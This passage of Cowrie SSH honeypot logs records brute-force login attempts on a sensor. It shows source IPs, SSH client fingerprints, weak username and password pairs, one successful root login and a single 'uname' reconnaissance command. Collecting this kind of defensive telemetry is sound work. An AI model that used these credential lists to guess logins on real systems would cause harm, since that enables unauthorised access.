ert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:06.560355Z","src_ip":"195.178.110.218","session":"2ef1a205f391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:06.798840Z","src_ip":"195.178.110.218","session":"2ef1a205f391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:07.880843Z","src_ip":"195.178.110.218","session":"2ef1a205f391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":57236,"dst_ip":"10.17.0.5","dst_port":22,"session":"5834e862fd1a","protocol":"ssh","message":"New connection: 157.15.59.121:57236 (10.17.0.5:22) [session: 5834e862fd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:01.952715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:01.959614Z","src_ip":"157.15.59.121","session":"5834e862fd1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:02.223411Z","src_ip":"157.15.59.121","session":"5834e862fd1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ot","password":"12345678Qq","message":"login attempt [ot/12345678Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:03.269884Z","src_ip":"157.15.59.121","session":"5834e862fd1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:04.530631Z","src_ip":"157.15.59.121","session":"5834e862fd1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53656,"dst_ip":"159.203.135.109","dst_port":22,"session":"2674acdcff4b","protocol":"ssh","message":"New connection: 193.32.162.145:53656 (159.203.135.109:22) [session: 2674acdcff4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:15.836587Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:15.943133Z","src_ip":"193.32.162.145","session":"2674acdcff4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":49768,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc819519940b","protocol":"ssh","message":"New connection: 162.120.6.20:49768 (159.203.135.109:22) [session: bc819519940b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:51.574525Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:51.647617Z","src_ip":"162.120.6.20","session":"bc819519940b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":57448,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd83bbaf74ae","protocol":"ssh","message":"New connection: 162.120.6.20:57448 (159.203.135.109:22) [session: bd83bbaf74ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:51.715976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:51.720273Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:51.799620Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass","message":"login attempt [root/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:52.015143Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:52.202932Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:52.206652Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:52.282444Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:20:52.288272Z","src_ip":"162.120.6.20","session":"bd83bbaf74ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56574,"dst_ip":"159.203.135.109","dst_port":22,"session":"38dfc6917f6a","protocol":"ssh","message":"New connection: 195.178.110.218:56574 (159.203.135.109:22) [session: 38dfc6917f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:21.297159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:21.302069Z","src_ip":"195.178.110.218","session":"38dfc6917f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:21.384371Z","src_ip":"195.178.110.218","session":"38dfc6917f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:21.610898Z","src_ip":"195.178.110.218","session":"38dfc6917f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:22.688007Z","src_ip":"195.178.110.218","session":"38dfc6917f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35668,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed2b8bdebac4","protocol":"ssh","message":"New connection: 195.178.110.218:35668 (10.17.0.5:22) [session: ed2b8bdebac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:40.296975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:40.301423Z","src_ip":"195.178.110.218","session":"ed2b8bdebac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:40.376514Z","src_ip":"195.178.110.218","session":"ed2b8bdebac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:40.601582Z","src_ip":"195.178.110.218","session":"ed2b8bdebac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:41.679229Z","src_ip":"195.178.110.218","session":"ed2b8bdebac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54674,"dst_ip":"159.203.135.109","dst_port":22,"session":"32af87c192d6","protocol":"ssh","message":"New connection: 2.57.122.96:54674 (159.203.135.109:22) [session: 32af87c192d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:44.019071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:44.029684Z","src_ip":"2.57.122.96","session":"32af87c192d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:44.133730Z","src_ip":"2.57.122.96","session":"32af87c192d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:44.434731Z","src_ip":"2.57.122.96","session":"32af87c192d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:21:45.536632Z","src_ip":"2.57.122.96","session":"32af87c192d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":47004,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab51a88af0a","protocol":"ssh","message":"New connection: 157.15.59.121:47004 (10.17.0.5:22) [session: cab51a88af0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:22:27.768604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:22:27.773602Z","src_ip":"157.15.59.121","session":"cab51a88af0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:22:28.017651Z","src_ip":"157.15.59.121","session":"cab51a88af0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1234","message":"login attempt [bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:22:29.020070Z","src_ip":"157.15.59.121","session":"cab51a88af0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:22:30.265905Z","src_ip":"157.15.59.121","session":"cab51a88af0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"847ba8c4d7f4","protocol":"ssh","message":"New connection: 195.178.110.218:45822 (159.203.135.109:22) [session: 847ba8c4d7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:13.662370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:13.666649Z","src_ip":"195.178.110.218","session":"847ba8c4d7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:13.746137Z","src_ip":"195.178.110.218","session":"847ba8c4d7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:13.986892Z","src_ip":"195.178.110.218","session":"847ba8c4d7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:15.068844Z","src_ip":"195.178.110.218","session":"847ba8c4d7f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":57626,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f1f7d92627","protocol":"ssh","message":"New connection: 124.128.221.98:57626 (159.203.135.109:22) [session: d5f1f7d92627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:16.921443Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:16.926250Z","src_ip":"124.128.221.98","session":"d5f1f7d92627","protocol":"ssh"}
